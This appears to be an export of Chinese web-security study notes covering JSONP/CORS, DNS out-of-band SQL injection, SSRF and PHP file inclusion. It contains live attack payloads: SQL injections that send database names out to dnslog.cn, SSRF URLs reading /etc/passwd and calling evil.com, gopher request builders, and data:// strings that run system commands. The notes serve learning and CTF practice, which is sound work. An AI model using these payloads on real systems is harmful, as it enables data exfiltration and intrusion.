解决跨域问题\n* JSONP解决跨域\n* CORS解决跨域\n\n#### JSONP解决跨域\n什么是**JSONP**,举个例子,就是 *a.com/jsonp.html* 想要获取 *b.com/main.js* 的数据,这个时候由于浏览器同源策略,是获取不到数据的,所以我们可以在 *a.com/jsonp.html* 创建一个 *script* 脚本,*http://b.com/main.js?callback=xxx*。在*main.js*中调用这个**回调函数***xxx*,并且以*JSON*数据形式作为参数传递,完成回调。代码如下:\n\n```javascript\n// a.com/jsonp.html中的代码\nfunction addScriptTag(src) { \n var script = document.createElement('script'); \n script.setAttribute(\"type\",\"text/javascript\"); \n script.src = src; \n document.body.appendChild(script);\n}\nwindow.onload = function () { \n\taddScriptTag('http://b.com/main.js?callback=foo');\n} //window.onload是为了让页面加载完成后再执行\nfunction foo(data) { \n\t console.log(data.name+\"欢迎您\");\n};\n\t \n//b.com/main.js中的代码\nfoo({name:\"hl\"})\n```\n\n##### 存在的问题\n* 只能使用GET方式,无法使用POST方式\n* 可能被注入恶意代码,篡改页面内容,可以采用字符串过滤来规避此问题\n\n#### CORS解决跨域\nCORS是一个W3C标准,全称是“跨域资源共享”(Cross-origin resource sharing)\n\n它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。\n\n如在*b.com*里面添加响应头声明允许*a.com*的访问\n```\nAccess-Control-Allow-Origin: http://a.com\n```\n然后*a.com*就可以用**ajax**获取*b.com*里的数据了。\n\n\n## 回调函数\n虽然浏览器限制了非同源网站不能直接访问,但是并没有对资源文件(如图片img,脚本script)进行限制,所以绕过这一层的方法就是,我们把api请求当作一个js文件引入,在服务端使用一层函数将返回数据包包裹成一行javascript代码\n\n所以这个回调函数就是你和api方面约定好的一个名称。当你请求api时,他就会使用你提供的函数名称包装返回的数据,来去请求你约定的函数\n\n```javascript\n<script>\n function getGPS(data){\n //do something for data\n }\n</script>\n\n<script src = \"请求地址&callback=getGPS\">\n```\n这样请求到的数据直接以getGPS(返回数据)的形式返回了回来,(返回数据)直接被当作实参传给了预写的函数(data)中作为实参。也就是说,此时的**GPS(data) = getGPS('返回数据')**,所以预写的函数直接被调用了\n\n## String.fromCharCode()\n将Unicode编码转为一个字符\n```javascript\nvar n = String.fromCharCode(72,69,76,76,79)\n\n//输出结果:HELLO\n```\n\n## location.hash\n\n### 锚点\nurl,如 **http://www.test.com/#/something**\n\n其中 **http://www.test.com** 为真实的路径,而 **#/something** 则为网页中的位置,称之为 **锚点**\n\n在访问**锚点**时会自动跳到锚点所在的网页位置,通常有两种方式作为锚点\n```html\n<a name=\"something\"></a>\n<element id=\"something\"></element>\n```\n以上两种均可通过 **http://www.test.com/#/something** 使页面滚动到该元素的位置\n\n### hash\n\nlocation.hash可读可写\n```javascript\n//URL:http://www.test.com/#/something\nlocation.hash; // 输出 #/something\nlocation.hash = '#/test1'; //http://www.test.com/#/test1\n```\n在对hash写时要注意一个地方,如下所示:\n```javascript\n//URL:http://www.test.com/\nlocation.hash = '#/test' //http://www.test.com/#/test\nlocation.hash = '/#/test' //http://www.test.com/#/#/test\n```\n当写入的第一个字符不为 **'#'** 时会自动地在字符串之前生成一个 **'#'** ,再把字符串追加到生成的 **#** 后面\n\n### onhashchange事件\n\n在hash值发生变化后会触发该事件\n```javascript\nwindow.onhashchange = function(a){\n console.log(e);\n}\n```\n\n## JS 反引号\n\n### 字符串换行\n```javascript\nconst str = `this\nis a string`;\nconsole.log(str);\n```\n### 格式化字符串\n```javascript\nconst name = \"tom\";\nconst str = `hey, ${name}, ${1+1}, ${Math.random()}`;\nconsole.log(str)\n```\n### 调用函数\n```javascript\nconst name = 'zs';\nconst gender = true;\nfunction myTagFunc(strings){\n console.log(strings);\n}\nconst str = myTagFunc`你好!${name}是一个${gender}` ;\n```\n\n## htmlentities()\n\n将所有适用的字符转换为HTML实体\n```php\nhtmlentities(str,flags,character-set,double-encode)\n```\n\n* str - 要转换的字符串\n* flags\n * ENT_COMPAT - 默认,仅编码单引号\n * ENT_QUOTES - 编码单引号和双引号\n * ENT_NOQUOTES - 不编码任何引号\n* character-set - 要使用的字符集\n\n例子:\n```php\n<?php\n$str = \"Jane & 'Tarzan'\";\necho htmlentities($str);\necho htmlentities($str, ENT_QUOTES);\n?>\n```\n上面代码的HTML输出:\n```html\n<html>\n<body>\n Jane & 'Tarzan'\n Jane & 'Tarzan'\n</body>\n</html>\n```\n上面代码的浏览器输出:\n```html\nJane & 'Tarzan'\nJane & 'Tarzan'\n```","tags":["web"]},{"title":"DNS外带","url":"/2022/10/21/DNS外带/","content":"\n# DNS外带\n\n**DNS log**:记录了你对此域名或者ip的访问信息(即日志记录)\n\n**DNSlog常见平台**:[http://www.dnslog.cn](http://www.dnslog.cn)、[http://admin.dnslog.link](http://admin.dnslog.link)、[http://ceye.io](http://ceye.io)\n\n**UNC**:一种命名惯例,主要用于在Microsoft Windows上指定和映射网络驱动器。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。UNC命名由三个部分组成- 服务器名, 共享资源名称, 和一个可选的文件路径,*\\\\\\servername\\sharename\\file_path*。如访问softer计算机中名为it168的共享文件夹,用UNC表示就是\\\\\\softer\\it168\n\n**DNS外带注入**:当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等。当我们输入域名时,会向DNS服务器解析获取IP在通过IP访问,在这过程中DNS服务器会产生对域名请求解析的日志,比如此时存在一个域名为summer.com,要使用的payload为 *\\`whoami\\`.summer.com*,就可以通过DNS解析日志来获取到主机名\n\n*mysql外带注入只能发生在windows机器上*\n\n\n```sql\nselect load_file(concat(\"\\\\\\\\\",database(),\".1a1m5e.dnslog.cn\\\\2.txt\")); \n\n1' union select 1,load_file(concat('\\\\\\\\',(select database()),'.9hg8iv.dnslog.cn\\\\abc'))#\n\n1' union select 1,load_file(concat('\\\\\\\\',(select table_name from information_schema.tables where table_schema=\"pikachu\" limit 0,1),'.9hg8iv.dnslog.cn\\\\abc'))#\n```\n\n## 设置load_file状态\n\n**load_file()** :读取一个文件并将其内容作为字符串返回,参数是文件的完整路径\n\n* 当secure_file_priv为空,则表示没有任何限制\n* 当secure_file_priv为指定目录,则表示数据库导入导出只能在指定目录\n* 当secure_file_priv为null,则表示不允许导入导出\n\nMySql查询secure_file_priv有以下方式:\n```sql\nshow variables like '%secure%';\n\nselect @@global.secure_file_priv;\n```\n\n**只有secure_file_priv为空时,才可以利用mysql-dnslog外带注入**","tags":["web","SQL"]},{"title":"SSRF","url":"/2022/10/18/SSRF/","content":"\n# SSRF\n\n**SSRF(服务端请求伪造)** 是一种由攻击者构造请求,诱导服务端发起请求,让目标服务器执行非本意的操作的安全漏洞。\n\nSSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。\n\n## 漏洞成因\n\n* 服务端提供了从其他服务器应用获取数据的功能(比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等)\n* 没有对目标地址、文件等做过滤与限制\n* 一般情况下,服务端请求的目标都是与该请求服务器处于同一内网的资源服务\n\n## 漏洞危害\n\n* 内网探测:对内网服务器办公机器进行端口扫描、资产扫描、漏洞扫描\n* 窃取本地和内网敏感数据:如利用file协议\n* 攻击服务器本地或内网应用:利用发现的漏洞,可以进一步发起攻击利用\n* 绕过安全防御:比如防火墙、CDN\n\n## 漏洞的产生\n\n* 通过url地址分享网页内容功能处\n* 在线翻译\n* url地址加载或下载图片处\n* 图片、文章收藏功能\n* 云服务器商(它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试)\n* 有远程图片加载的地方\n* 网站采集、网页抓取的地方(一些网站会针对你输入的url进行一些信息采集工作)\n* 头像处(远程加载头像)\n* 邮件系统\n* 编码处理、属性信息处理、文件处理(比如ffpmg,ImageMagick,docx,pdf,xml处理器等)\n* 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)\n\n## 漏洞挖掘\n\n### 白盒测试\n* 寻找可能构成SSRF漏洞的危险函数\n\n### 黑盒测试(未)\n* 观察burpsuit的网站请求消息报文中是否存在URL,并对URL构造payload进行测试\n* 无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性\n\n## 产生漏洞的常见危险函数\n\n### file_get_contents()\n\nfile_get_contents是把文件或url指向的文件写入字符串,当url是内网的文件时,会先去把这个文件的内容读出来再写入,导致了文件读取\n\n```php\n<?php\nif(isset($_POST['url']))\n{\n $content=file_get_contents($_POST['url']);\n $filename='./images/'.rand().'.img';\\\n file_put_contents($filename,$content);\n echo $_POST['url'];\n $img=\"<img src=\\\"\".$filename.\"\\\"/>\";\n\n}\necho $img;\n?>\n```\n\n### fsockopen()\n\n获取用户制定的url(文件或html),这个函数会使用socket跟服务器建立tcp连接或者Unix套接字连接,传输原始数据\n\n```php\n<?php\n function GetFile($host,$port,$link)\n {\n $fp = fsockopen($host, intval($port),\n $errno, $errstr, 30); \n if (!$fp){\n echo \"$errstr (error number $errno) \\n\"; \n } \n else {\n $out = \"GET $link HTTP/1.1\\r\\n\";\n $out .= \"Host: $host\\r\\n\" \n $out .= \"Connection: Close\\r\\n\\r\\n\";\n $out .= \"\\r\\n\"; fwrite($fp, $out);\n $contents='';\n while (!feof($fp)){\n $contents.= fgets($fp, 1024);\n }\n fclose($fp);\n return $contents;\n }\n } \n?>\n```\n\n### curl_exec()\n\n对远程的URL发起请求访问,并将请求的结果返回至前端页面\n\n```php\n//利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透\n\nfunction curl($url){ \n $ch = curl_init(); // 初始化curl连接句柄\n curl_setopt($ch, CURLOPT_URL, $url); //设置连接的URL\n curl_setopt($ch, CURLOPT_HEADER, 0); // 设置头文件的信息\n curl_exec($ch); // 运行curl,请求网页\n curl_close($ch); // 关闭curl连接句柄\n}\n\n$url = $_GET['url'];\ncurl($url); \n```\n\n## 利用的常用协议\n```\nfile:// -- 本地文件传输协议,主要用于访问本地计算机中的文件\ndict:// -- 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628\nsftp:// -- SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)\nldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议\ntftp:// -- 一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机\ngopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息\n```\n\n### file://\n\n```\nhttp://example.com/ssrf.php?url=file:///etc/passwd\nhttp://example.com/ssrf.php?url=file:///etc/passwd \t\t\tLinux用户基本配置信息\nhttp://example.com/ssrf.php?url=file:///c:/windows/win.ini\t windows系统基本配置信息\nhttp://example.com/ssrf.php?url=file:///etc/shadow\t\t\tLinux用户密码等敏感信息(一般需要root用户才能查看 web服务的一般权限是apache)\n```\n\n### dict://\n\n```\nhttp://example.com/ssrf.php?url=dict://evil.com:1337/ \ndict://127.0.0.1:3360\t\t(探测MySQL服务)\ndict://127.0.0.1:22\t\t(探测SSH服务)\ndict://127.0.0.1:6379\t\t(探测redis服务)\ndict://127.0.0.1:1433\t\t(探测SQL server服务)\n```\n\n### tftp://\n```\nhttp://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET \n```\n\n### gopher://\n\n*Gopher是Internet上一个信息查找系统,它将Internet上的文件组织成某种索引,方便用户从Internet的处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具。使用**tcp 70**端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;gopher协议支持发出GET、POST请求*\n\n*所有的WEB服务中间件都支持gopher协议,gopher可以发送任何的TCP数据包*\n\n*在攻击内网ftp、redis、telnet、Memcache上有极大作用,利用gopher协议访问redis反弹shell较为经典*\n\n\n#### GET请求\n* 构造http数据包\n* URL编码,替换回车换行为%0d%0a(如果用工具转,可能只会有%0a)\n* '?'号需要转为URL编码%3f\n* 如果有多个参数,'&'也要进行编码\n* HTTP包最后加%0d%0a代表消息结束\n* 发送gopher协议\n\n```\ncurl gopher://192.168.0.119:2333/_abcd // 加'_' 字符是因为首字符会被吞,所以需要添加r任意一个占位字符\n```\n\n一个GET型的HTTP包,如下:\n```http\nGET /ssrf/base/get.php?name=Margin HTTP/1.1\nHost: 192.168.0.109\n```\nURL编码并改为gopher协议后:\n```\ncurl gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A\n```\n\n#### POST请求\n* 有四个参数为必要参数:Content-Type,Content-Length,host,post\n* Content-Length和POST的参数长度必须一致\n* 如果有多个参数,'&'也要进行编码\n* 在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码\n\n```http\nPOST /ssrf/test/post.php HTTP/1.1\nhost:192.168.1.120\nContent-Type:application/x-www-form-urlencoded\nContent-Length:12\n\nname=Qianxun\n```\nURL编码并改为gopher协议后:\n```\ncurl gopher://192.168.1.120:80/_POST%20/ssrf/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.120%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Qianxun%0d%0A\n```\nurl解码的样子:\n```\ncurl gopher://192.168.1.120:80/_POST /ssrf/test/post.php HTTP/1.1\nHost:192.168.1.120\nContent-Type:application/x-www-form-urlencoded\nContent-Length:11\n\nname=Qianxun\n```\n\n#### python脚本构造payload(post和get都适用)\n\n```python\nimport urllib.parse\n\npayload = \\\n\"\"\"POST /flag.php HTTP/1.1\nHost: 127.0.0.1\nContent-Length: 293\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0BDuCoolR1Vg7or\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flag.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\n\n------WebKitFormBoundaryz0BDuCoolR1Vg7or\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\nContent-Type: text/plain\n\nhello world!\n------WebKitFormBoundaryz0BDuCoolR1Vg7or\nContent-Disposition: form-data; name=\"submit\"\n\nsubmit\n------WebKitFormBoundaryz0BDuCoolR1Vg7or--\n\"\"\"\ntmp = urllib.parse.quote(payload) # 对payload中的特殊字符进行编码\nnew = tmp.replace('%0A','%0D%0A')\nresult = 'gopher://127.0.0.1:80/'+'_'+new\nresult = urllib.parse.quote(result) # 对新增的部分继续编码\nprint(result)\n```\n\n#### gopher漏洞利用\n\n之后再看吧。。。先把链接放在这里\n\n[SSRF漏洞详解](https://blog.csdn.net/qq_48904485/article/details/123653514)\n\n[gopher协议总结](https://blog.csdn.net/unexpectedthing/article/details/121667791)\n\n[SSRF漏洞](https://www.jianshu.com/p/e0f6ef3ea833)\n\n[ctf中的ssrf](https://blog.csdn.net/nobugnomoney/article/details/123953973)","tags":["web"]},{"title":"文件包含","url":"/2022/10/08/文件包含/","content":"\n# 文件包含\n## PHP文件包含函数\n\n* include() \n * 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时会给出一个警告,继续向下执行\n* include_once()\n * 功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次\n* require()\n * require()与 include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行\n* require_once()\n * 功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次\n\n<br>\n\n## 文件包含成因\n\n大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作\n\n<br>\n\n## 本地包含与远程包含\n\n\n### 本地包含\n\n```php\nallow_url_fopen = On/Off\n```\n示例\n```\n?filename = ../../../1.txt\n```\n\n<br>\n\n### 远程包含\n\n```php\nallow_url_include = On/Off\n```\n示例\n```\nfilename = http://192.168.59.1:8080/ws.php\n```\n<br>\n\n<br>\n\n## 伪协议\n\n```\nfile:// --访问本地文件系统\nhttp:// --访问http(s)网址\nftp:// --访问FTP(s) URLs\nphp:// --访问各个输入/输出流\nzlib:// --压缩流\ndata:// --数据\nphar:// --PHP归档\n```\n\n### php://\n\n#### php://filter\n*不受allow_url_fopen以及allow_url_include的影响*\n\n```\n?file = php://filter/read=convert.base64-encode/resource=flag.php # 得到base64编码格式的php文件。如果不加read读取链,则会将其中的内容当作PHP代码执行,则无法读取到其中的文件内容,所以要在read读取链中将其编码\n```\n\n在看PHP://filter底层代码分析得时候,看到了一种形式\n\n```\nphp://filter/resource=a/convert.base64-decode/…/…/a.txt\n```\n\n目前还只是对它的原理懂一点点。。只能后面遇到了在进一步了解了\n\n在此贴出出现了上面形式得博客链接\n\n[php://filter 的浅略底层分析](https://blog.csdn.net/HBohan/article/details/121099051)\n\n[[PHP底层]关于php://filter的分析](https://blog.csdn.net/solitudi/article/details/121206836)\n\n<br>\n\n#### php://input\n\n*其只受allow_url_include参数的影响*\n*当enctype=\"multipart/form-data\"时候,php://input无效*\n```\ntest.php?file=php://input\n\nPOST: <?php info();?> # 将POST输入流当作PHP代码来执行\n```\n\n<br>\n\n### file://\n\n```\ntest.php?file=file://C:/aa.txt\ntest.php?file=file:///C://Users/Mini/Desktop/flag.txt #常用于读取本地文件\n```\n\n<br>\n\n### data://\n和php://类似,都是用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中\n\n*需要allow_url_include以及allow_url_fopen都开启*\n\n```\n?file=data://text/plain,<?php system(\"ping 127.0.0.1\")?> # text/plain的意思是将文件设置为纯文本的形式,浏览器在获取到这种文件时并不会对其进行处理。text/plain后面的值会被当作php代码执行\n?file=data://text/plain,<?=system('cat fl*');?>\n?file=data://text/plain,<script>alert(document.cookie)</script>\n?file=data://text/plain,base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4= #如果对特殊字符进行过滤,可以将代码进行base64编码后再输入\n```\n\n<br>\n\n### zip:// 与 phar://协议\n\n*不受allow_url_fopen以及allow_url_include参数的影响*\n\n倘若有一种情况限制文件后缀为php的文件,并且上传的文件只能是jpg格式\n\n比较旧的版本可以使用00截断、路径长度阶段登。但是若没有截断漏洞时\n\n可以尝试使用zip伪协议,将木马放在压缩包中,再将压缩包后缀修改为上传白名单,然后使用zip协议进行包含\n\n```\n?file=zip://C:\\phpStudt\\PHPTutorial\\WWW\\cc.jpg%23cc\n# zip://绝对路径\\需要解压缩的文件%23子文件名\n\n?file=phar://cc.jpg/cc.php\n# 同zip协议,但是phar协议为相对路径,zip协议为绝对路径\n# phar://压缩包名/内部文件名,如写一个一句话木马cc.php,然后用zip协议压缩为cc.zip,再将后缀改为cc.jpg\n```\n\n<br>\n\n### http:// 访问http或https的网址\n\n*allow_url_fopen与allow_url_include需要同时开启*\n\n此伪协议就是远程文件包含漏洞。可通过其他主机getshell\n\n```\n?file=http://localhost/1.php\n```\n\n## Others\n\n\n### 限制后缀\n\n有一些开发者会限制文件的后缀,如下\n```\n<?php\n $file = $_GET['file'] . '.php';\n echo $file;\n include($file);\n?>\n```\n在下面条件时,可以使用%00截断\n* PHP版本<5.3(不包括5.3)\n* PHP magic_quotes_gpc = off;\n* PHP对所接收的参数,如上述代码中的$_GET['file']未使用addslashes函数\n\n那么我们使用00截断,就可以访问其他文件\n```\n?file=flag.txt%00\n```\n如果magic_quotes_gpc = On 或者 使用addslashes函数,那么情况便会变为下面\n\n```\n?file=hello.txt%00\n\n# 结果为\nhello.txt\\0.php\n```\n\n<br>\n\n### file_get_contents函数——例题\n\n* 该函数是用于把文件的内容读入到一个字符串中\n\n```php\n<?php\n $data = $_GET['data'];\n $a = file_get_contents($data);\n echo \"data\".$a;\n if($a===\"xxx\")\n {echo \"return is true\";}\n else\n {echo \"return is false\";}\n\n?>\n```\n\nfile_get_contents(\"php://input\")能够获取到原始请求的数据流,在提交后用burp抓包,post提交xxx后成功\n\n除此之外,还有一些php伪协议也可以被file_get_contents函数执行,如:\n* php://stdout,php://stdin,php://stderr等\n\n\n### 目录穿越\n\nNginx错误配置\n```\nLocation /static{ # location /Purl 为普通匹配,Purl和用户请求url的开头相同就匹配成功。如请求是www.mysite.com/static/img/1.jpg\n Alias /home/myapp/static/; # alias指令是在其定义的目录下查找文件\n}\n```\n如果配置文件包含上述内容,很可能是运维人员或开发人员想让用户访问static目录(一般是静态资源目录)\n\n如果用户请求的web路径是/static.../,拼接到alias上就变成了/home/myapp/static/.../,此时便会产生目录穿越漏洞,并且穿越到myapp目录\n\n```\nhttp://192.168.139.128:8081/files../\n```\n[Nginx配置文件中Location详解](http://t.zoukankan.com/yu2006070-01-p-10212646.html)\n\n[Linux Nginx的Location详解](https://blog.csdn.net/weixin_46407419/article/details/124855355)\n","tags":["web"]}]